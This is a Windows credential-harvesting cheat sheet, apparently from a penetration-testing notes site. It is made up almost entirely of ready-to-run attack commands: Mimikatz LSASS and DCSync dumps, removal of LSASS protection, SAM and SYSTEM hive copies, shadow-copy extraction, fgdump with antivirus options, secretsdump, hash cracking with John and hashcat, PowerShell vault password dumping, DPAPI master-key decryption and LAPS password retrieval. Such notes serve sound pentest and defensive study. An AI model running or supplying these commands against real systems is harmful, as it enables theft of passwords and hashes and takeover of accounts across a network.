Credentials harvesting
Enumerate Users And Hashes
privilege::debug
token::elevate
lsadump::lsa /inject /name:<user> //NTLM hash of user
lsadump::dcsync /user:krbtgt //Hashes of specified user
sekurlsa::logonpasswords //NTLM and SHA1 hashes
sekurlsa::credman //vault credentials
sekurlsa::ekeys /aes128
sekurlsa::ekeys /aes256
vault::cred //vault credentials
vault::list //credman plaintext passwords
if the logonpassword command returns an error Handle on memory (0x00000005)
download the library from here (Win32) or here (Win64) in the same folder as the mimikaz executable and use the following commands in Mimikatz to disable LSASS protection
!+
!processprotect /process:lsass.exe /remove
Password To NTLM
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'
SAM
Dumping
Manual
Administrative privileges are required to dump register keys
reg.exe save hklm\sam c:\dp\sam.save
reg.exe save hklm\system c:\dp\system.save
reg.exe save hklm\security c:\dp\security.save
Possible backups location
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
ShadowCopy Exploit
It is possible to retrieve and dump keys from old backup versions of the system saved with ShadowCopy. Once the backup version is exposed you can dump the SAM credentials and extract DPAPI hashes. All the following operations require Admin privileges
Enumerate existing copies
vssadmin list shadows
Create a new shadowCopy archive
wmic shadowcopy call create Volume='C:\'
Create a link to the copy
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\<shadow copy volume name>\
IF you're unable to navigate the link due to access permission errors It is still possible to extract files from the shadow copy
copy \\?\GLOBALROOT\Device\<shadow copy vol>\windows\system32\config\sam <dest>\sam
copy \\?\GLOBALROOT\Device\<shadow copy vol>\windows\system32\config\system <dest>\system
fgdump.exe
Runs locally, creates a file with the hashes.
fgdump.exe
fgdump.exe -t #test for anti-virus presence
fgdump.exe -a #don't try to disable anti-virus
fgdump.exe -r #ignore existing dump files
Mimikatz
lsadump::sam //SAM database
lsadump::secrets //SAM secrets
Decryption
Impacket - secretsdump.py
secretsdump.py -sam <sam file> -system <system file> LOCAL
secretsdump.py -sam <sam file> -system <system file> -security <sec file> LOCAL
Samdump or Pwdump
samdump2 system.save sam.save
pwdump SYSTEM SAM > <file>
After obtaining the hashes they can be cracked to obtain the passwords or used in Pass the Hash attacks. In order to obtain the passwords we need only the NT part of the hash. given an hash with the following structure AAAA:BBBB
the actual string to bruteforce is the one to the right of the column
john -format=NT -wordlist=<wordlist> <hashfile>
hashcat -m 1000 -a 0 --force --show --username <hash> <wordlist> #rows follow the format <user>:<hash>
Vault credentials dump
Enumerate credentials manager entries
vaultcmd /list
VaultCmd /listcreds:"<entry name>"
Dump credentials associated with the vault entry
$ClassHolder = [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$VaultObj = new-object Windows.Security.Credentials.PasswordVault
$VaultObj.RetrieveAll() | foreach { $_.RetrievePassword(); $_ }
DPAPI
Usual credential files position
%appdata%\Microsoft\Credentials\
%localappdata%\Microsoft\Credentials\
%appdata%\Microsoft\Protect\<usersid>\ //master key
Enumerate Credentials hashes. The parameter guidMasterKey
reveals the hash of the master key
dpapi::cred /in:"<path to cred hash>"
Retrieve the master key, decode it and store the key in cache. In order to decrypt the key we need to be operating under the same context (user, system) the key belongs to.
dpapi::masterkey /in:"<Path to MasterKeyGUID>"
dpapi::masterkey /in:"<Path to MasterKeyGUID>" /rpc
dpapi::cache
Decrypt other hashes with the master key
dpapi::cred /in:"<path to CredHash>"
LAPS
Verify that LAPS is installed by searching for admpwd.dll
usually in C:\Program Files\LAPS\CSE
Check available commands in PowerShell
Get-Command *AdmPwd*
Find groups allowed to interact with LAPS. If command run with a wildcard argument throws an exception after returning one or more values call the command again but this time specify as identity parameter one of the OUs obtained the first time
Find-AdmPwdExtendedRights -Identity *
Find-AdmPwdExtendedRights -Identity <OU>
Get users of the detected group
net groups "<group>"
Run the following command in the context of a user part of the group allowed to interact with LAPS to dump the stored passwords. The target is the machine with LAPS enabled
Get-AdmPwdPassword -ComputerName <target>
Last updated